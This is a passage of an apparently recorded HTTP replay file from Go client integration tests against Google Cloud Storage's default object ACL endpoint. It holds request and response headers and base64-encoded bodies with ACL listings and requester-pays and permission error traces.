xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9YmFkUmVxdWVzdCwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uUkVRVUlSRUQsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfTUlTU0lORzogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjEwMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5saXN0KEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6ODkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MTAxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmxpc3QoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YTo4OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5FcnJvckNvbGxlY3Rvci50b0ZhdWx0KEVycm9yQ29sbGVjdG9yLmphdmE6NTQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5RXJyb3JDb252ZXJ0ZXIudG9GYXVsdChSb3N5RXJyb3JDb252ZXJ0ZXIuamF2YTo2Nylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjI1OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjIzOSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnRocmVhZC5UaHJlYWRUcmFja2VycyRUaHJlYWRUcmFja2luZ1J1bm5hYmxlLnJ1bihUaHJlYWRUcmFja2Vycy5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6NDUzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc2VydmVyLkNvbW1vbk1vZHVsZSRDb250ZXh0Q2FycnlpbmdFeGVjdXRvclNlcnZpY2UkMS5ydW5JbkNvbnRleHQoQ29tbW9uTW9kdWxlLmphdmE6ODAyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlJDEucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ2MClcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihUcmFjZUNvbnRleHQuamF2YTozMTkpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6MzExKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NTcpXG5cdGF0IGNvbS5nb29nbGUuZ3NlLmludGVybmFsLkRpc3BhdGNoUXVldWVJbXBsJFdvcmtlclRocmVhZC5ydW4oRGlzcGF0Y2hRdWV1ZUltcGwuamF2YTo0MDMpXG4ifV0sImNvZGUiOjQwMCwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4ifX0=" - } - }, - { - "ID": "42a941620757dac5", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl?alt=json\u0026prettyPrint=false\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "684" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:06 GMT" - ], - "Etag": [ - "CAU=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:06 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uoqov2civPKG8oSKmpVgUSoOD4W3rev4av_O6jgxkc5tSpPMgtxZeG3NznVRuFJLgClao2zPH8BvZIxTAAPUi_R-H0zgPz6ou8k9SMzLrcgW_HW100" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBVT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQVU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBVT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIiLCJkb21haW4iOiJnb29nbGUuY29tIiwiZXRhZyI6IkNBVT0ifV19" - } - }, - { - "ID": "ae79f2e22d58681a", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl?alt=json\u0026prettyPrint=false\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "13059" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:06 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:06 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqP_EhJin_8uqVkiSwAv0jBAI8A0o7nSwNAQ-Z_EdAnq2PItIGJZl5NOE_xcDTFce_ncHfsf6LvV4NMvuxiOsl32BOddZj_6x5dC36QqrKvhXKaQJ0" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MTAxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmxpc3QoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YTo4OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NS